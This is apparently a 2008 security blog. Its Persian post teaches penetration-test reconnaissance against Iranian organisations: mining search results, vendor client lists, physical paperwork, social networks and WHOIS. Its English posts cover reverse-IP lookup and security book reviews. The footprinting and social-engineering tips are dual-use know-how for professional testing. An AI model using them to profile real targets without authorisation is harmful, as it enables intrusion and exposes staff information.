ممکن است برخی تصور کنند که چون اینجا ایران است و بحث تجارت و دولت الکترونیک و کلآ دنیای مجازی آنچنان رواج نیافته ، بنابر این همانند آنچه در جزوه ها و منابع فرنگی میبینیم ، امکان کشف و جمع آوری اطلاعات بخصوص بصورت غیر فعال (Passive) بصورت کارآمد وجود ندارد . با همین ذهنیت افراد (بخوانید نفوذگران مجاز/غیرمجاز) زیاد این مرحله را جدی نگرفته و به سرعت به سراغ اولین IP پیدا شده که بنظر مربوط به هدف است میروند .

تجربه به من ثابت کرده که موار بالا کاملآ اشتباه است و برداشتی غلط . شاید برای شما جالب باشد بدانید که من در مواردی که مشغول به انجام تست نفوذ برای مشتریان متوسط و بزرگ بوده ام ، 60% زمان کل کارم را به جمع آوری اطلاعات اختصاص داده و مابقی را صرف سایر مراحل کرده ام . بنظر غیرمنطقی میرسد ، اما چندین بار عملآ پیش آمده که تست نفوذ در همین مرحله به اتمام رسیده ! یعنی بدون ارسال حتی یک پکت بطور مستقیم به سیستم های شبکه هدف ، دسترسی به شبکه فراهم شده است . این مورد تابحال دوبار برای من اتفاق افتاده ، پس مثالی دور از ذهن نیست . اگرچه این قبیل موارد همیشه تکرار نمیشوند و نفوذگر همیشه اینقدر خوش شانس نیست ، اما اطلاعاتی که با انجام یک foot-printing خوب بدست میآیند ، دست کمی از یک نام کاربری و رمز عبور برای دسترسی به یکی از سیستم ها ندارند .

حال این سوال مطرح میگردد که این اطلاعات را از کجا پیدا کنیم ؟

گوگل فارسی را فراموش نکنید : به همان دقتی که محتوای انگلیسی در این موتور جستجو فهرست و ذخیره شده ، محتوای فارسی نیز ایندکس و ذخیره میشود . این اولین و بهترین قدم برای شروع است . نام سازمان ، پست های سازمانی ، اخبار و افراد کلیدی ، آدرس های ساختمان های مربوطه ، تلفن های تماس ، آگهی های استخدام و ... همه میتوانند شما را به هدف نزدیکتر کنند . هرچه بیشتر بگردید ، بیشتر پیدا خواهید کرد . شک نکنید !

شرکت های دهن لق !!! : این مورد ، راهکار مورد علاقه من برای بدست آوردن دقیق ترین و بروز ترین اطلاعات در مورد هدف است . چطور ؟ متآسفانه یا خوشبختانه بسیاری از شرکت هایی که در ایران در زمینه شبکه فعالیت میکنند خود را به هر دری میزنند تا مشتریان جدید را جذب کرده و فعالیت های خود را تبلیغ کنند . بسیاری از این شرکت ها حتی به قیمت در اختیار قرار دادن اطلاعات محرمانه ( ولی به ظاهر بی ارزش از دید خودشان ) حاضر به تبلیغ برای مشتری هستند . کافیست سری به سایت های این شرکت ها بزنید و بخش سوابق کاری را مرور کنید . روش دیگر میتواند تماس با شرکت و یا حتی مراجعه با آنها باشد . نگران نباشید ، ایرانی ها آدم های مهربانی هستند و شما حتمآ به نتیجه میرسید . تصویر زیر مربوط به یکی از بانک های معتبر بوده و شرکت X برای تبلیغ سوابق کاری خود آنها را در وب سایت عمومی خود قرار داده است . جالب است بدانید با تکیه بر همین اطلاعات بظاهر بی ارزش ، در کنار سایر اطلاعات بدست آمده ، امکان تهیه و استفاده از یک Remote Exploit بصورت پایدار (Reliable) فراهم شده و در نهایت منجر به حصول دسترسی میگردد.



Yellow Page های فارسی : این یکی نیز در بسیاری از موارد برای من مفید بوده است . سایت کتاب اول یکی از نمونه های خوب برای این مورد است . از دیگر سایت های مفید ، پایگاه های انتشار اطلاعات مربوط به مناقصات برگزار شده هستند .


سری به محل بزنید : بازدید از محل فیزیکی همواره میتواند مفید باشد . بر خلاف فرنگی ها که به اصل کنترل گردش اطلاعات در شرکت/سازمان بسیار پایبند هستند ، مشابه های ایرانی آنچنان این موضوع را جدی نمیگیرند . پس شما حتی از در و دیوار هم میتوانید انتظار اطلاعات داشته باشید . با توجه به شیوع کاغذ بازی در سازمان ها ، شرکت ها و ادارات ایرانی ، کاغذ ها همواره میتوانند مفید باشند ! کافیست به آرشیو نامه های اداری خود ، کپی هایی که از کاغذ بازی های قدیمی خود دارید ، و یا پرینت ها و فرم هایی که در طول جریان کاغذ بازی به شما داده میشود کمی دقت کنید . احتمال اینکه URL ، نام کاربری و یا IP Address در گوشه کناره های کاغذ پیدا شود کم نیست . همچنین ، به تابلوها ، نوشته های راهنما و اخطارهایی که به شما داده میشود بیشتر دقت کنید .

اورکات ، شهید زنده : اورکات (Orkut) را که حتمآ میشناسید . اگر نمیشناسید ، فراموشش کنید چون این مطلب برای شما نوشته نشده ! طی یک دوره 1-2 ساله ، عضویت در این سایت و بسیاری از سایت های مشابه در میان استفاده کننده گان اینترنت در ایران شیوع عجیبی یافت . از دکترهای ماما فارغ التحصیل شده با معدل بین 17 تا 19 ، تا راننده های تاکسی خطی مسیر ونک – تجریش ، هر کسی برای خودش گروهی ساخت و عده ایی هم عضو آن شدند ... . افرادی که در مجموعه مورد نظر ( هدف ) شما کار میکنند نیز ممکن است تحت تآثیر این موج قرار گرفته باشند . این منبع ( و سایر موارد مشابه ) بسیار غنی و ارزشمند را از دست ندهید .

WHOIS : باز هم یک تصوراشتباه : اطلاعات WhoIs سرویس گیرندگان و سرویس دهندگان اینترنتی ایرانی بطور کامل و یا دقیق در بانک های اطلاعاتی جهانی ثبت نشده . RIPE.Net و امکانات جستجوی آن همیشه چیزی برای گفتن دارند . این لینک را امتحان کنید . اولین منبع من برای بدست آوردن محدوده های IP هدف همینجاست .

سایر مراحل جمع آوری اطلاعات بصورت Active و Passive تفاوت چندانی با نمونه فرنگی ندارند پس از تکرار آنها صرف نظر میکنم . برای آگاهی از لیست کاملی از منابعی که میتوانید برای جمع آوری اطلاعات از آن استفاده کنید ، میتوانید سری به اینجا بزنید .


April 14, 2008

محتوای فارسی ؟

در مورد این وبلاگ بارها این سوال از من پرسیده شد که " با وجود این همه وبلاگ فرنگی ، چرا به زبان انگلیسی ؟ " . جواب من هم همیشه این بوده است که " اولآ تعداد فارسی زبانانی که به انگلیسی تسلط دارند بسیار بیشتر از انگلیسی زبانانی است که به فارسی تسلط دارند ! دوم ، نوشتن مطلب در مورد کامیپوتر و امنیت شبکه به زبان فارسی ، برای من یکی مشکل است چون در یک جمله 10 کلمه ایی عملآ 6 کلمه آن فارسی نویسی شده اصطلاحات انگلیسی هستند. خوب پس این چه کاری است ؟! " .

با وجود این ؛ تصمیم گرفتم بعد از این بخشی از مطالب را به زبان فارسی بنویسم . این تصمیم هم بی علت نبوده . یکی از مهم ترین دلایل ، این بود که منابع ( وبلاگ ! ) فارسی زبان در این حیطه که بطور تخصصی و به روز مطالبی را عنوان کنند بسیار اندک است . حداقل من از وجود آنها بی اطلاع هستم ، که در اینصورت اگر آنها را به من معرفی کنید خوشحال خواهم شد . امیدوارم مطالب را با "اخبار" اشتباه نگیرید ، زیرا سایت های فارسی زبانی مانند BugTrack.ir بخوبی در حال انجام این کار میباشند و جا دارد از زحماتشان برای بروزرسانی و نگهداری از این سایت مفید تشکر شود .

دلیل دوم ، سعی در انتقال برخی از تجربیات کاری چند سال اخیر به خوانندگان است . حداقل در این یک مورد میتوانم با اطمینان خاطر بگویم که سایت ، وبلاگ یا منبع تخصصی در خصوص مباحثی مانند Penetration-test ، Assessment ، Audit ،پیاده سازی و راهبری راهکارهای امنیتی خاص و یا مباحث پیشرفته (فنی) در زمینه امنیت اطلاعات به زبان فارسی نداریم . در موارد بسیار بسیار محدودی که به آنها برخورده ام هم ، مطالب عینآ ترجمه منابع فرنگی بوده اند . با توجه به فرهنگ و قوانین و جو خاص !!! موجود در ایران ، بسیاری از این مطالب ، هرچند که گویا باشند یا به خوبی ترجمه و تحلیل شوند ، در این مملکت و بازار کار آن کاربردی ندارند و چه بسا نتیجه معکوس هم میدهند ! پس خلآ مطالب وطنی در این زمینه به شدت احساس میشود .

با توجه به این موارد ، حوزه محتوای فارسی که در آینده خواهم نوشت تا حدودی مشخص میگردد . اما شما نیز در صورتی که مورد ، موضوع و یا سوال خاصی را در ذهن دارید که فکر میکنید عنوان کردن آن میتواند مفید باشد ، آنرا بصورت comment عنوان کنید تا فکری بحال آن کنیم ! بازنویسی برخی از مطالب مورد نظر شما که پیش از این منتشر شده نیز میتواند برای خود ایده ای باشد .

New toy for foot-printing networks

Before you continue , I`m sorry if you already knew about this , but it happened to catch my tired eyes just today .

While checking my favorite online domain/ip tool-box , I noticed a new feature which was not there before this . So I gave it a try. Domaintools.com , provides some usual services related to tracking changes on DNS and IP information , like many other alike tools . The most favorite option between pen-testers IMO , is the reverse-ip option , which let you know what domain names are hosted on given IP address . Well , nothing new so far .

While you`re faced with large block of addresses , it gets boring to check every single IP for hosted domains unless you know some scripting foo , to automate the tests . I used to play with my dirty perl script to check targeted IP block . It`s like "reverse-ip.pl 81.91.129.0/24 " . and at the end you have list of domains hosted on every single IP in block . Sure I`ve used a paid account for this , as free/guest accounts are restricted for this option .

I noticed that the new IP Explore do the same , but in a much more elegant and visual way . And it`s pretty quick and clean ,as you only send a single request for entire class C block .
If shown results looks strange to you , here`s how it should be used :

Let`s say you want to know about all hosted domains in 81.91.129.0/24 . You feel the blank and result will be like this . Results page devided your given network name into 4 blocks as below :

81 (A-Block) . 91 (B-Block) . 129 (C-Block) . % (D-Block)

Every block have numbered from 0 to 255 , as expected . You usually have to focus only on D-Block ( unless you know what you`re doing ) . in D-Block you`ll see some normal numbers , among some highlighted numbers . clean/no-highlight means no domain is hosted on that IP ( from domaintools.com point of view ! you`re always advised to try multiple reverse-ip providers for better/complete results ) . As of highlighted numbers , the lighter the highlight is, means lower number of hosted domains on that specific IP . So in previous example , you`ll find "98" in D-block the most noisy IP . clicking on "98" in D-block will list hosted domains on "81.91.129.98".

That`s it .

Review of some of recently published books by Syngress

I`ve got electronic copy of some of new Syngress books . Here`s how I`ve rated them :

"No Tech Hacking" : Name is self-explaining . covering topics on how to hack without computer . Interesting topic picked , but so interesting materials . At least , I was expecting something more cool from it`s well known author , the king of Google hacking . All of topics are well-discussed in other books & resources . Real-world cases are not even interesting enough , IMO . I consider it ANOTHER book on old known topics. I hardly give it 4 stars .

"Nmap in the Enterprised" : Want to waste your time in best possible way , and learn Nmap in worst way ? Go read this book . Is 0 star rating a valid one ? If not , I`ll give this one 1 start .

"Reverse Engineering Code with IDA Pro" : I`ve not finished reviewing it deeply yet , but It`s one of those books I like to read . Amount of good contents in the book compared to useless chaptes is above average . There are other great books on debugging already available , but if you just want to BEGIN working with IDA Pro , it`s a good book . Be warned that it`s not a good refrence for learning debugging . Giving 3 stars to this book would be fair . If it was covering more detailed basic things , rather than trying to finish the topic fast and clean , it could be a 4 stars book .

"Google Hacking , Volume 2" : Not as 'second edition' as expected . If you`ve already purchased first edition , or studied electronic version , you won`t get much from this new release . 2nd Edition covers some of new Google features released after 1st edition of book , and the style of the book is also refreshed for better classification of topics. But if you`re new to the topic , don`t even waste a minute ! this must be your #1 priority . A second to none resource for learning Google. Although it`s titled "for penetration testers" but even individuals will find this book good . I have some non-computer friends who were very happy after checking this book . Because they learned to make their Google search MUCH MORE effective than past , and get what they are looking for , in fewer hits . A 5 start book , without any doubt .

"Secrets stolen, Fortunes lost" : As some one who`ve reviewed some other books on same topic , I didn`t find a single new word in this book . The most interesting parts of the book were provided check-lists . They`ll be really useful for you , if you don`t already have alike check-lists . Provided real-world samples and cases could be better than current ones, or at least with better analyzes from author. If it was Amazon , I`d give this one 3 stars at best .

April 13, 2008

How good are these security books ?

I`m kind of guy who reads books. I`m one of those who reads A LOT of books , and to be more detailed , it rarely happens that a (security related) book is published and I`ve not checked it , at least as fast as checking only titles and chapter descriptions . But I still believe that checking Google beside known good resources which publish new papers and findings , is more effective than reading books . Of course , there are some exceptions too . But generally , I find the "Index" part of published books as their most valuable part ! why ? Because it help you to get idea what the book is about , and try to search & find more/better contents on web ,rather than reviewing entire chapter for nothing new or exciting .
Recently we`re faced with a wave of new books in the field of information security . Checking a site like Amazon for known topics like "web application security" will return more than 20 books covering this field , but are all of them really covering NEW information ? No . Almost all of them are copying already published papers and materials , and even worse , most of the time simply converting available readme or man pages to a book ! this readme-to-book seems getting more popular these years . Most of Books covering security tools , are true samples of this case . Syngress is #1 in this conversion IMO . Checking most of books from this publisher , you`ll see that it`s some times a modified copy/paste from documentations of products. You may have picked up new books covering Snort , Ethereal , Nmap , ISA , Exchange , .... and you dedicate your valuable time for reading them. It`s considered that you`ve already tried available manuals/readme/Help-menu and you`re purchasing the book to learn something new . But when you finish reading the book cover to cover , you`ll be like "wtf ?! I knew all of these from the software/product documentation . what about those shining bold fonts on cover announcing NEW tips ? " . I`m sorry to say that most of them (covers) are designed to cheat you !

There are yet some better books . Those who copy good old contents from previous books , to keep the book pass quality control ! Here`s how it happens :
You get a new book covering "Buffer overflow attacks" . Some chapters teach you already-known information in new and some times better ways . well , you like the book at the end , cus it was something useful for you . Another new book is published from the same published covering " Writing Security tools..." . This time fewer useful contents , and some of chapters are exact copy/paste of past book . well , you don`t like this book much . Same publisher release another book covering "Metasploit Framework" . Wow, finally some dedicated book for MSF . it must have valuable contents , so let`s try it . This time you`ll hate not only the book , but also the publisher ! why ? Cus here`s how this book was cooked : Good OLD chapters of first book , copy/paste of chapters from the other book on same topic , and finally rehashed manual pages and documentations of the tool itself ! what make it even more annoying is that the authors have not even tried to update contents . You`re reading 2005 contents in 2008 . And you know what '3 years' means in information security !

So , should you stop reading books ? no . I`m trying to say don`t consider any book , a real book ! If you want to learn a new topic , before choosing a book for reading cover to cover , be sure it have something new , or at least it`s well organized , to be able to reduce your Googleing time .
How to know if it`s a real/good book ? Most of the times , Those who are working in same topic/field as the book they`re authoring , the result will be a good book . Check Amazon again , searching for top rated or most popular security books . You`ll see that in almost all of the cases co-authors of the book are known authorities in the field . "The {shellcoders/DB hackers/Oracle Hackers/Web App Hackers} Handbook" series by Wiley are all excellent books authored by smart geeks . There are many other good samples but mentioning all will just make this post longer .

Next tip for those who want to pick books covering specific tool/solution/product/device/appliance : Forget about The Book ! Believe me or not the best refrence for learning them is available manuals and documented already provided beside it . The only case that override this assumption is when the developer/company itself attempt to write a book . New "Nmap In the Enterprise" book from Syngress is a great sample. Checking cover and titles even caused me to look inside the book , because I`ve seen some words about "NSE" or Nmap Scripting Language , which I`m currently learning it . I though I`ve finally the resource to review some real working samples . But when I checked related chapter , it was few paragraphs on how to use the "-sC" switch !!! Now I feel like an 'NSE' expert ! Fydoro is working on his Nmap book too , and I`ve seen some prepared contents . It`s funny when you compare these two books ! Let`s see how it will be rated when released .

And Final tip for reading (security) books :
If you want to learn what you read , don`t just read ! try and experience every single topic you read , in real-world and with real samples , not even books test cases. Other ways you won`t get much from that book. This is specifically matching the books trying to teach you techniques , not the concepts . There`s not much to try when you`re learning how designing a secure network by design, but tens of ways to write exploits for a single overflow case , or injection possibility . So get your hands dirty ! Reading books without experiencing them will make you lazy and book-depended soon or later .